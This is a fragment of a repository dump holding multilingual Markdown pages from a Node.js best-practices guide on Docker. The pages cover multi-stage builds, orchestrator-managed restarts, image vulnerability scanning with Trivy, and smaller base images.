    "content": "# Use multi-stage builds\n\n### One Paragraph Explainer\n\nMulti-stage builds allow to separate build- and runtime-specific environment details, such as available binaries, exposed environment variables, and even the underlying operating system. Splitting up your Dockerfiles into multiple stages will help to reduce final image and container size as you'll only ship what you really need to run your application. Sometimes you'll need to include tools that are only needed during the build phase, for example development dependencies such as the TypeScript CLI. You can install it during the build stage and only use the final output in the run stage. This also means your image will shrink as some dependencies won't get copied over. You might also have to expose environment variables during build that should not be present at runtime (see [avoid build time secrets](./avoid-build-time-secrets.md)), such as API Keys and secrets used for communicating with specific services. In the final stage, you can copy in pre-built resources such as your build folder, or production-only dependencies (which you can also fetch in a subsequent step).\n\n### Example\n\nLet's imagine the following directory structure\n\n```\n- Dockerfile\n- src/\n    - index.ts\n- package.json\n- yarn.lock\n- .dockerignore\n- docs/\n  - README.md\n```\n\nYour [.dockerignore](../docker/docker-ignore.md) will already filter out files that won't be needed for building and running your application.\n\n\nsections/docker/docker-ignore.md\n```\n# Don't copy in existing node_modules, we'll fetch our own\nnode_modules\n\n# Docs are large, we don't need them in our Docker image\ndocs\n```\n\n#### Dockerfile with multiple stages\n\nSince Docker is often used in continuous integration environments it is recommended to use the `npm ci` command (instead of `npm install`). It is faster, stricter and reduces inconsistencies by using only the versions specified in the package-lock.json file. See [here](https://docs.npmjs.com/cli/ci.html#description) for more info. This example uses yarn as package manager for which the equivalent to `npm ci` is the `yarn install --frozen-lockfile` [command](https://classic.yarnpkg.com/en/docs/cli/install/).\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\nFROM node:14.4.0\n\nUSER node\nEXPOSE 8080\n\n# Copy results from previous stage\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### Dockerfile with multiple stages and different base images\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\n# This will use a minimal base image for the runtime\nFROM node:14.4.0-alpine\n\nUSER node\nEXPOSE 8080\n\n# Copy results from previous stage\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### Full Dockerfile with multiple stages and different base images\n\nOur Dockerfile will contain two phases: One for building the application using the fully-featured Node.js Docker image,\nand a second phase for running the application, based on the minimal Alpine image. We'll only copy over the built files to our second stage,\nand then install production dependencies.\n\n```dockerfile\n# Start with fully-featured Node.js base image\nFROM node:14.4.0 AS build\n\nUSER node\nWORKDIR /home/node/app\n\n# Copy dependency information and install all dependencies\nCOPY --chown=node:node package.json yarn.lock ./\n\nRUN yarn install --frozen-lockfile\n\n# Copy source code (and all other relevant files)\nCOPY --chown=node:node src ./src\n\n# Build code\nRUN yarn build\n\n\n# Run-time stage\nFROM node:14.4.0-alpine\n\n# Set non-root user and expose port 8080\nUSER node\nEXPOSE 8080\n\nWORKDIR /home/node/app\n\n# Copy dependency information and install production-only dependencies\nCOPY --chown=node:node package.json yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\n# Copy results from previous stage\nCOPY --chown=node:node --from=build /home/node/app/dist ./dist\n\nCMD [ \"node\", \"dist/app.js\" ]\n```"
  },
  {
    "path": "sections/docker/multi_stage_builds.japanese.md",
    "content": "# マルチステージビルドを使用する\n\n### 一段落説明\n\nマルチステージビルドでは、利用可能なバイナリや公開されている環境変数、さらには基礎となるOSなど、ビルドとランタイム固有の環境の詳細を分離することができます。Dockerfile を複数のステージに分割することで、アプリケーションの実行に本当に必要なものだけをリリースすることができるので、最終的なイメージやコンテナのサイズを小さくすることができます。ビルド段階でのみ必要となるツール、例えば TypeScript CLI のような開発依存のツールを含める必要があることもあるでしょう。これらのツールはビルド段階でインストールし、最終的な出力のみ実行段階で使用することができます。これは、いくつかの依存関係がコピーオーバーされないため、イメージが縮小されることを意味します。また、実行時には存在してはいけない API キーや特定のサービスとの通信に使われるシークレットなどの環境変数をビルド中に公開しなければならないかもしれません([ビルド時のシークレットを避ける](./avoid-build-time-secrets.japanese.md) を参照してください。) 最終ステージでは、ビルドフォルダのようなビルド済みのリソースや本番環境専用の依存関係 (これは後のステップで取得することもできます) をコピーすることができます。\n\n### 例\n\n以下のようなディレクトリ構造を想像してみましょう。\n\n```\n- Dockerfile\n- src/\n    - index.ts\n- package.json\n- yarn.lock\n- .dockerignore\n- docs/\n  - README.md\n```\n\n[.dockerignore](./docker-ignore.japanese.md) では、アプリケーションのビルドや実行に必要のないファイルをすでにフィルタリングしています。\n\n```\n# 既存の node_modules をコピーしないで、自分たちで取得します。\nnode_modules\n\n# ドキュメントは大きいので、Docker イメージには必要ありません。\ndocs\n```\n\n#### 複数のステージがある Dockerfile\n\nDocker は継続的インテグレーション環境で使用されることが多いので、`npm install` ではなく `npm ci` コマンドを使用することをお勧めします。package-lock.json ファイルで指定されたバージョンのみを使用することで、より速く、より厳密になり、矛盾を減らすことができます。詳細は [こちら](https://docs.npmjs.com/cli/ci.html#description) を参照してください。この例ではパッケージマネージャとして yarn を使用していますが、`npm ci` と同等のものは `yarn install --frozen-lockfile` [command](https://classic.yarnpkg.com/en/docs/cli/install/) です。\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\nFROM node:14.4.0\n\nUSER node\nEXPOSE 8080\n\n# 前のステージの結果をコピー\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### 複数のステージと異なるベースイメージを持つ Dockerfile\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\n# ランタイム用に最小のベースイメージを使用\nFROM node:14.4.0-alpine\n\nUSER node\nEXPOSE 8080\n\n# 前のステージの結果をコピー\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### 複数のステージと異なるベースイメージを持つフル Dockerfile\n\n私たちの Dockerfile には2つのフェーズが含まれています: 1つ目のフェーズは、フル機能を備えた Node.js の Docker イメージを使ってアプリケーションを構築するためのものです。２つ目のフェーズは、最小限の Alpine イメージに基づいて、アプリケーションを実行するためのものです。ビルドされたファイルのみを第二段階にコピーし、本番環境の依存関係をインストールします。\n\n```dockerfile\n# フル機能の Node.js ベースのイメージでスタート\nFROM node:14.4.0 AS build\n\nUSER node\nWORKDIR /home/node/app\n\n# 依存関係情報をコピーし、すべての依存関係をインストール\nCOPY --chown=node:node package.json yarn.lock ./\n\nRUN yarn install --frozen-lockfile\n\n# ソースコード（およびその他すべての関連ファイル）をコピー\nCOPY --chown=node:node src ./src\n\n# コードのビルド\nRUN yarn build\n\n\n# ランタイムステージ\nFROM node:14.4.0-alpine\n\n# 非 root ユーザを設定し、ポート 8080 を公開\nUSER node\nEXPOSE 8080\n\nWORKDIR /home/node/app\n\n# 依存関係情報をコピーして、本番環境のみの依存関係をインストール\nCOPY --chown=node:node package.json yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\n# 前のステージの結果をコピー\nCOPY --chown=node:node --from=build /home/node/app/dist ./dist\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n"
  },
  {
    "path": "sections/docker/multi_stage_builds.md",
    "content": "# Use multi-stage builds\n\n### One Paragraph Explainer\n\nMulti-stage builds allow to separate build- and runtime-specific environment details, such as available binaries, exposed environment variables, and even the underlying operating system. Splitting up your Dockerfiles into multiple stages will help to reduce final image and container size as you'll only ship what you really need to run your application. Sometimes you'll need to include tools that are only needed during the build phase, for example development dependencies such as the TypeScript CLI. You can install it during the build stage and only use the final output in the run stage. This also means your image will shrink as some dependencies won't get copied over. You might also have to expose environment variables during build that should not be present at runtime (see [avoid build time secrets](./avoid-build-time-secrets.md)), such as API Keys and secrets used for communicating with specific services. In the final stage, you can copy in pre-built resources such as your build folder, or production-only dependencies (which you can also fetch in a subsequent step).\n\n### Example\n\nLet's imagine the following directory structure\n\n```\n- Dockerfile\n- src/\n    - index.ts\n- package.json\n- yarn.lock\n- .dockerignore\n- docs/\n  - README.md\n```\n\nYour [.dockerignore](../docker/docker-ignore.md) will already filter out files that won't be needed for building and running your application.\n\n\nsections/docker/docker-ignore.md\n```\n# Don't copy in existing node_modules, we'll fetch our own\nnode_modules\n\n# Docs are large, we don't need them in our Docker image\ndocs\n```\n\n#### Dockerfile with multiple stages\n\nSince Docker is often used in continuous integration environments it is recommended to use the `npm ci` command (instead of `npm install`). It is faster, stricter and reduces inconsistencies by using only the versions specified in the package-lock.json file. See [here](https://docs.npmjs.com/cli/ci.html#description) for more info. This example uses yarn as package manager for which the equivalent to `npm ci` is the `yarn install --frozen-lockfile` [command](https://classic.yarnpkg.com/en/docs/cli/install/).\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\nFROM node:14.4.0\n\nUSER node\nEXPOSE 8080\n\n# Copy results from previous stage\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### Dockerfile with multiple stages and different base images\n\n```dockerfile\nFROM node:14.4.0 AS build\n\nCOPY --chown=node:node . .\nRUN yarn install --frozen-lockfile && yarn build\n\n\n# This will use a minimal base image for the runtime\nFROM node:14.4.0-alpine\n\nUSER node\nEXPOSE 8080\n\n# Copy results from previous stage\nCOPY --chown=node:node --from=build /home/node/app/dist /home/node/app/package.json /home/node/app/yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n\n#### Full Dockerfile with multiple stages and different base images\n\nOur Dockerfile will contain two phases: One for building the application using the fully-featured Node.js Docker image,\nand a second phase for running the application, based on the minimal Alpine image. We'll only copy over the built files to our second stage,\nand then install production dependencies.\n\n```dockerfile\n# Start with fully-featured Node.js base image\nFROM node:14.4.0 AS build\n\nUSER node\nWORKDIR /home/node/app\n\n# Copy dependency information and install all dependencies\nCOPY --chown=node:node package.json yarn.lock ./\n\nRUN yarn install --frozen-lockfile\n\n# Copy source code (and all other relevant files)\nCOPY --chown=node:node src ./src\n\n# Build code\nRUN yarn build\n\n\n# Run-time stage\nFROM node:14.4.0-alpine\n\n# Set non-root user and expose port 8080\nUSER node\nEXPOSE 8080\n\nWORKDIR /home/node/app\n\n# Copy dependency information and install production-only dependencies\nCOPY --chown=node:node package.json yarn.lock ./\nRUN yarn install --frozen-lockfile --production\n\n# Copy results from previous stage\nCOPY --chown=node:node --from=build /home/node/app/dist ./dist\n\nCMD [ \"node\", \"dist/app.js\" ]\n```\n"
  },
  {
    "path": "sections/docker/restart-and-replicate-processes.basque.md",
    "content": "# Utzi Dockeren exekuzio denborari erreplikatu eta jardueraren iraupena kudeatzen\n\n<br/><br/>\n\n### Azalpena\n\nDockeren exekuzio denboraren kudeatzaileak, Kubernetes bezala, benetan onak dira edukiontzien osasun eta ezarpen erabakiak hartzen: edukiontzi  kopurua maximizatzen, edukiontziak zonaldeen artean orekatzen eta klusterren faktore ugari kontuan hartzen dituzte erabaki horiek hartzen dituzten bitartean. Esan gabe doa: huts egiten duten prozesuak (hau da, edukiontziak) identifikatzen dituzte eta leku egokian berrabiarazten dituzte. Hala ere, batzuek kode pertsonalizatuak edo tresnak erabiltzeko tentazioa izan dezakete Node prozesua erreplikatuz PUZa erabili eta, huts eginez gero, prozesua berrabiarazte aldera (adibidez,PM2  kluster modulua, ). Tokiko tresna horiek ez dituzte kluster mailako  ikuspegia eta eskuragarri dauden datuak. Adibidez, instantzien baliabideek 3 edukiontzi eta 2 eskualde ostatatu ditzaketenean, edukiontziak hainbat eskualdetan hedatzen arduratuko da Kubernetes. Horrela, zonaldeak edo eskualdeak huts egitea gertatuz gero, aplikazioak bizirik jarraituko du. Aitzitik, tokiko tresnak erabiltzean prozesua berrekiteko, Dockeren kudeatzailea ez da erroreez jabetzen eta ezin du ondo pentsatutako erabakirik hartu, edukiontzia zonalde edo instantzia berri batean ipintzea bezala.\n\n<br/><br/>\n\n### Kode adibidea: deitu Node.js zuzenean, tarteko tresnarik gabe\n\n<details>\n\n<summary><strong>Dockerfile fitxategia</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Eraikitze logika hemen dago\n\nCMD [\"node\", \"index.js\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Anti ereduaren kode adibidea: erabili prozesu kudeatzailea\n\n<details>\n\n<summary><strong>Dockerfile fitxategia</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# Eraikitze logika hemen dago\n\nCMD [\"pm2-runtime\", \"indes.js\"]\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/restart-and-replicate-processes.french.md",
    "content": "# Let the Docker orchestrator restart and replicate processes\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nDocker runtime orchestrators like Kubernetes are really good at making containers health and placement decisions: They will take care to maximize the number of containers, balance them across zones, and take into account many cluster factors while making these decisions. Goes without words, they identify failing processes (i.e., containers) and restart them in the right place. Despite that some may be tempted to use custom code or tools to replicate the Node process for CPU utilization or restart the process upon failure (e.g., Cluster module, PM2). These local tools don't have the perspective and the data that is available on the cluster level. For example, when the instances resources can host 3 containers and given 2 regions or zones, Kubernetes will take care to spread the containers across zones. This way, in case of a zonal or regional failure, the app will stay alive. On the contrary side when using local tools for restarting the process the Docker orchestrator is not aware of the errors and can not make thoughtful decisions like relocating the container to a new instance or zone.\n\n<br/><br/>\n\n### Code Example – Invoking Node.js directly without intermediate tools\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# The build logic comes here\n\nCMD [\"node\", \"index.js\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti Pattern – Using a process manager\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# The build logic comes here\n\nCMD [\"pm2-runtime\", \"indes.js\"]\n```\n\n</details>"
  },
  {
    "path": "sections/docker/restart-and-replicate-processes.japanese.md",
    "content": "# プロセスを再起動と複製をDocker オーケストレーターに任せる\n\n<br/><br/>\n\n### 一段落説明\n\nKubernetes のような Docker ランタイムオーケストレータは、コンテナの健全性と配置の決定を行うのが非常に得意です。コンテナの数を最大化し、ゾーン間でバランスをとり、多くのクラスタ要因を考慮しながら、これらの決定を行います。言葉がなくても、彼らは失敗したプロセス(つまりコンテナ)を特定し、適切な場所で再起動します。にもかかわらず、CPU 利用率のためにノードプロセスを複製したり、障害時にプロセスを再起動したりするために、カスタムコードやツールを使いたくなる人もいるかもしれません(例えば、クラスタモジュール、PM2)。これらのローカルツールは、クラスタレベルで利用可能な視点やデータを持っていません。例えば、インスタンスリソースが3つのコンテナをホストでき、2つのリージョンやゾーンが与えられている場合、Kubernetes はゾーン間でコンテナを分散させるように注意します。このようにして、ゾーンやリージョナルの障害が発生してもアプリは生き続けます。逆にローカルツールを使ってプロセスを再起動する場合、Docker オーケストレータはエラーに気づかず、コンテナを新しいインスタンスやゾーンに再配置するような思慮深い決定を下すことができません。\n\n<br/><br/>\n\n### コード例 – 中間ツールを使わずに直接 Node.js を呼び出す\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# ビルドロジックはこちら\n\nCMD [\"node\", \"index.js\"]\n```\n\n</details>\n\n<br/><br/>\n\n### アンチパターン コード例 – プロセスマネージャを使用する\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# ビルドロジックはこちら\n\nCMD [\"pm2-runtime\", \"indes.js\"]\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/restart-and-replicate-processes.md",
    "content": "# Let the Docker orchestrator restart and replicate processes\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nDocker runtime orchestrators like Kubernetes are really good at making containers health and placement decisions: They will take care to maximize the number of containers, balance them across zones, and take into account many cluster factors while making these decisions. Goes without words, they identify failing processes (i.e., containers) and restart them in the right place. Despite that some may be tempted to use custom code or tools to replicate the Node process for CPU utilization or restart the process upon failure (e.g., Cluster module, PM2). These local tools don't have the perspective and the data that is available on the cluster level. For example, when the instances resources can host 3 containers and given 2 regions or zones, Kubernetes will take care to spread the containers across zones. This way, in case of a zonal or regional failure, the app will stay alive. On the contrary side when using local tools for restarting the process the Docker orchestrator is not aware of the errors and can not make thoughtful decisions like relocating the container to a new instance or zone.\n\n<br/><br/>\n\n### Code Example – Invoking Node.js directly without intermediate tools\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# The build logic comes here\n\nCMD [\"node\", \"index.js\"]\n```\n\n</details>\n\n<br/><br/>\n\n### Code Example Anti Pattern – Using a process manager\n\n<details>\n\n<summary><strong>Dockerfile</strong></summary>\n\n```dockerfile\nFROM node:12-slim\n\n# The build logic comes here\n\nCMD [\"pm2-runtime\", \"index.js\"]\n```\n\n</details>\n"
  },
  {
    "path": "sections/docker/scan-images.basque.md",
    "content": "# Eskaneatu irudi osoa ekoiztu aurretik\n\n<br/><br/>\n\n### Azalpena\n\nKodea eskaneatzea ahultasunak aurkitzeko ekintza baliotsua da, baina ez du mehatxu guztietatik babesten. Zergatik? Sistema eragilean ere badirelako ahultasunak, eta Shell, Tarball eta OpenSSL bezalako binarioak exekuta ditzakeelako aplikazioak. Gainera, erasogarriak diren menpekotasunak kodea eskaneatu ondoren gehitu daitezke (adibidez hornikuntza katearen erasoak). Hori dela eta, zuzenena da bukaerako irudia eskaneatzea zehazki ekoizpenera bidali aurretik. Ideia horrek E2E proben antza du, zati bakoitza modu isolatuan probatu ondoren, guztiak batutako paketea probatzea komeni da. 3 eskaner familia nagusi daude: tokiko/IEko binarioak, cachean ahultasunak dituzten datu base eta guzti; hodeiko zerbitzu gisa antolatutako eskanerrak; eta baliabide sorta bat, dockera bera konpilatu bitartean eskaneatzen duena. Lehenengo taldea da ezagunena eta normalean azkarrena. Merezi du [Trivvy](https://github.com/aquasecurity/trivy), [Anchore](https://github.com/anchore/anchore) eta [Snyk](https://support.snyk.io/hc/en-us/articles/360003946897-Container-security-overview) bezalako tresnak ikertzea. IE hornitzaile gehienek lekuko plugin bat proposatzen dute, eskaner horiekin elkarrekintza errazten dutenak. Kontuan izan behar da eskaner horiek eremu handiak hartzen dituztela, eta, beraz, emaitzak izaten dituztela ia eskaneatze guztietan. Aztertu ez ote den komeni atalase maila handi samarra ezartzea larrialdiak izatea ekiditeko.\n\n<br/><br/>\n\n### Kode adibidea: eskaneatu Trivvyrekin\n\n<details>\n\n<summary><strong>Bash</strong></summary>\n\n```console\n$ sudo apt-get install rpm\n$ wget https://github.com/aquasecurity/trivy/releases/download/{TRIVY_VERSION}/trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ sudo dpkg -i trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ trivy image [YOUR_IMAGE_NAME]\n```\n\n</details>\n\n<br/><br/>\n\n### Txosten adibidea: Docker eskanerraren emaitzak (Anchoren eskutik)\n\n![Txosten adibideak](../../assets/images/anchore-report.png \"Docker eskanerraren txostena\")\n"
  },
  {
    "path": "sections/docker/scan-images.french.md",
    "content": "# Scan the entire image before production\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nScanning the code for vulnerabilities is a valuable act but it doesn't cover all the potential threats. Why? Because vulnerabilities also exist on the OS level and the app  might execute those binaries like Shell, Tarball,  OpenSSL. Also, vulnerable dependencies might be injected after the code scan (i.e. supply chain attacks) - hence scanning the final image just before production is in order. This idea resembles E2E tests - after testing the various pieces in-isolation, it's valuable to finally check the assembled deliverable. There are 3 main scanner families: Local/CI binaries with a cached vulnerabilities DB, scanners as a service in the cloud and a niche of tools which scan during the docker build itself. The first group is the most popular and usually the fastest - Tools like [Trivvy](https://github.com/aquasecurity/trivy), [Anchore](https://github.com/anchore/anchore) and [Snyk](https://support.snyk.io/hc/en-us/articles/360003946897-Container-security-overview) are worth exploring. Most CI vendors provide a local plugin that facilitates the interaction with these scanners. It should be noted that these scanners cover a lot of ground and therefore will show findings in almost every scan - consider setting a high threshold bar to avoid getting overwhelmed\n\n<br/><br/>\n\n### Code Example – Scanning with Trivvy\n\n<details>\n\n<summary><strong>Bash</strong></summary>\n\n```console\n$ sudo apt-get install rpm\n$ wget https://github.com/aquasecurity/trivy/releases/download/{TRIVY_VERSION}/trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ sudo dpkg -i trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ trivy image [YOUR_IMAGE_NAME]\n```\n\n</details>\n\n<br/><br/>\n\n### Report Example – Docker scan results (By Anchore)\n\n![Report examples](../../assets/images/anchore-report.png \"Docker scan report\")"
  },
  {
    "path": "sections/docker/scan-images.japanese.md",
    "content": "# プロダクションの前にイメージ全体をスキャンする\n\n<br/><br/>\n\n### One Paragraph Explainer\n\n脆弱性のためにコードをスキャンすることは価値のある行動ですが、すべての潜在的な脅威をカバーできるものではありません。なぜでしょうか？ 理由は、脆弱性は OS レベルにも存在し、アプリケーションは Shell や Tarball、OpenSSL といったバイナリを実行する可能性があるためです。また、脆弱な依存関係がコードスキャンの後に注入される（サプライチェイン攻撃など）可能性があります - そのため、プロダクションの直前に最終的なイメージをスキャンする、といったことが順当です。このアイデアは E2E テストに似ています - 様々な要素を独立にテストした後に、組み合わせられた完成物を最終的にチェックするといったことは価値があります。主に 3 つのスキャナファミリーがあります: 脆弱性 DB をキャッシュしたローカル/CI バイナリ、クラウド上のスキャナサービス、そして docker ビルド中にスキャンするニッチなツールです。1 つめのグループは最も人気で、通常もっとも速いものです - [Trivvy](https://github.com/aquasecurity/trivy) や [Anchore](https://github.com/anchore/anchore)、そして [Snyk](https://support.snyk.io/hc/en-us/articles/360003946897-Container-security-overview) といったツールは一度見てみる価値があります。ほとんどの CI ベンダーはこういったスキャナを組み合わせて利用するためのローカルプラグインを提供しています。注意しておくべきこととして、これらのスキャナは多くの領域をカバーしているため、すべてのスキャンで何かしらの結果が表示されるといったことがあります - 圧倒されてしまうことを避けるため、高い閾値を設定することを検討してください。\n\n<br/><br/>\n\n### コード例 – Trivvy を用いたスキャン\n\n<details>\n\n<summary><strong>Bash</strong></summary>\n\n```console\n$ sudo apt-get install rpm\n$ wget https://github.com/aquasecurity/trivy/releases/download/{TRIVY_VERSION}/trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ sudo dpkg -i trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ trivy image [YOUR_IMAGE_NAME]\n```\n\n</details>\n\n<br/><br/>\n\n### レポート例 – Docker スキャン結果 (Anchore)\n\n![Report examples](../../assets/images/anchore-report.png \"Docker scan report\")\n"
  },
  {
    "path": "sections/docker/scan-images.md",
    "content": "# Scan the entire image before production\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nScanning the code for vulnerabilities is a valuable act but it doesn't cover all the potential threats. Why? Because vulnerabilities also exist on the OS level and the app  might execute those binaries like Shell, Tarball,  OpenSSL. Also, vulnerable dependencies might be injected after the code scan (i.e. supply chain attacks) - hence scanning the final image just before production is in order. This idea resembles E2E tests - after testing the various pieces in-isolation, it's valuable to finally check the assembled deliverable. There are 3 main scanner families: Local/CI binaries with a cached vulnerabilities DB, scanners as a service in the cloud and a niche of tools which scan during the docker build itself. The first group is the most popular and usually the fastest - Tools like [Trivvy](https://github.com/aquasecurity/trivy), [Anchore](https://github.com/anchore/anchore) and [Snyk](https://support.snyk.io/hc/en-us/articles/360003946897-Container-security-overview) are worth exploring. Most CI vendors provide a local plugin that facilitates the interaction with these scanners. It should be noted that these scanners cover a lot of ground and therefore will show findings in almost every scan - consider setting a high threshold bar to avoid getting overwhelmed\n\n<br/><br/>\n\n### Code Example – Scanning with Trivvy\n\n<details>\n\n<summary><strong>Bash</strong></summary>\n\n```console\n$ sudo apt-get install rpm\n$ wget https://github.com/aquasecurity/trivy/releases/download/{TRIVY_VERSION}/trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ sudo dpkg -i trivy_{TRIVY_VERSION}_Linux-64bit.deb\n$ trivy image [YOUR_IMAGE_NAME]\n```\n\n</details>\n\n<br/><br/>\n\n### Report Example – Docker scan results (By Anchore)\n\n![Report examples](../../assets/images/anchore-report.png \"Docker scan report\")\n"
  },
  {
    "path": "sections/docker/smaller_base_images.basque.md",
    "content": "# Hobetsi Docker oinarrizko irudi txikiagoak\n\nDocker irudi handiek ahultasun gehiago sor ditzakete eta baliabideen kontsumoa handitu. Askotan, exekutatzeko garaian instalatutako zenbait pakete ez dituzu behar konpilatzeko orduan. Zenbat eta irudi handiagoak argitaratu eta gorde, garestiagoa izango da eskalatzerako orduan. Gerta daiteke irudi txikiak diseinuz ez etortzea aldez aurretik instalatuta ohiko liburutegi arruntetan (adibidez, curl), modulu natiboak sortu edo arazketak egiteko erabilgarriak diren paketeak sortzeko beharrezkoak direnak. Alpine Linuxen irudien aldaerak erabiltzeak aztarna murriztarazi dezake, erabilitako baliabideei eta sistema guztietan dauden eraso bektoreei dagokienez. Node.jsren v14.4.0 Docker irudiak gutxi gora behera 345MBko tamaina du; Alpine bertsioak, aldiz, 39MB, hau da, ia 10 aldiz txikiagoa da. Aukera bikaina da ere Debianen oinarritutako aldaera arina (Slim), 38 MB besterik ez duena eta Node.js exekutatzeko behar diren gutxieneko paketeak dituena.\n\n### Blogeko aipua: \"Zure zerbitzuen abiaratzea azkarragoa eta seguruagoa izan dadin Docker irudiak txikiagoak izatea nahi baduzu, probatu Alpine.\"\n\n[Nick Janetakis](https://nickjanetakis.com/blog/the-3-biggest-wins-when-using-alpine-as-a-base-docker-image)-en bloga\n\n> Gaur egun jakina da Dockerek Alpine maiz erabiltzen duela Dockeren irudi ofizialetarako. Mugimendu hori 2016ko hasieran hasi zen gutxi gora-behera. [...]\n> Zerbitzari berri batean Docker irudiak argitaratzean, espero dezakezu hasierako argitalpena pixka bat azkarragoa izatea. Sarea gero eta motelagoa izan, ezberdintasuna orduan eta handiagoa izango da. [...] Tamaina txikiaren beste abantailetako bat da erasotze azala txikiagoa dela. Zure sisteman pakete eta liburutegi asko ez dagoenean, oso gauza gutxi daude gaizki irten daitezkeenak.\n"
  },
  {
    "path": "sections/docker/smaller_base_images.french.md",
    "content": "\nLarge Docker images can lead to higher exposure to vulnerabilities and increased resource consumption. Often you don't need certain packages installed at runtime that are needed for building.\nPulling and storing larger images will become more expensive at scale, when dealing with larger images. By design minimal images may not come with common libraries needed for building native modules or packages useful for debugging (e.g. curl) pre-installed.\nUsing the Alpine Linux variants of images can lead to a reduced footprint in terms of resources used and the amount of attack vectors present in fully-featured systems. The Node.js v14.4.0 Docker image is ~345MB in size versus ~39MB for the Alpine version, which is almost 10x smaller.\nA Slim variant based on Debian, which is only 38MB in size and contains the minimal packages needed to run Node.js, is also a great choice.\n\n### Blog Quote: \"If you want to shrink your Docker images, have your services start faster and be more secure then try Alpine out.\"\n\nFrom [Nick Janetakis' blog](https://nickjanetakis.com/blog/the-3-biggest-wins-when-using-alpine-as-a-base-docker-image)\n\n> It’s no secret by now that Docker is heavily using Alpine as a base image for official Docker images. This movement started near the beginning of 2016. [...]\n  When pulling down new Docker images onto a fresh server, you can expect the initial pull to be quite a bit faster on Alpine. The slower your network is, the bigger the difference it will be. [...] Another perk of being much smaller in size is that the surface area to be attacked is much less. When there’s not a lot of packages and libraries on your system, there’s very little that can go wrong."
  },
  {
    "path": "sections/docker/smaller_base_images.japanese.md",
    "content": "# 小さな Docker ベースイメージを優先する\n\nサイズの大きな Docker イメージは脆弱性にさらされる可能性を高め、リソースの消費量を増加させます。多くの場合、ビルド時に必要なパッケージは実行時にインストールする必要はありません。\n大きイメージを扱う場合において、イメージをプルして保存することは、規模が大きくなるにつれてコストが高くなるでしょう。設計上、ミニマルイメージには、ネイティブモジュールの構築に必要な共通して利用されるライブラリや、デバッグに便利なパッケージ（例：curl）がプリインストールされていない場合があります。\nAlpine Linux のイメージを利用することで、使用されるリソースと、フル機能を備えたシステムに存在する攻撃の因子の総数の観点において、その度合を抑えることができます。Node.js v14.4.0 Docker イメージは ~345MB であるのに対し、Alpine バージョンのイメージは ~39MB と、10倍近く小さくなっています。\nDebian をベースとした Slim 版も良い選択肢です。わずかサイズ 38MB であり、Node.js を実行するために必要な最小限のパッケージを含んでいます。\n\n### ブログ引用: \"If you want to shrink your Docker images, have your services start faster and be more secure then try Alpine out.\"（Docker イメージを縮小させ、サービスの起動を高速化し、より安全性を高めたい場合は、Alpine を試してください）\n\n[Nick Janetakis のブログ](https://nickjanetakis.com/blog/the-3-biggest-wins-when-using-alpine-as-a-base-docker-image)より\n\n> Docker が、公式の Docker イメージのベースとなるイメージとして Alpine を多用していることは、もう周知の事実です。[...]\n> 新しいサーバーに新しい Docker イメージをプルする際は、Alpine を利用することで最初のプルが速くなると予想されます。ネットワークが遅ければ遅いほど、その差は歴然となります。[...] サイズがより小さくなることのもうひとつの利点は、攻撃される領域が小さくなることです。システム上のパッケージやライブラリの数が少ない場合、問題が発生する可能性は低くなります。\n"
  },
  {
    "path": "sections/docker/smaller_base_images.md",
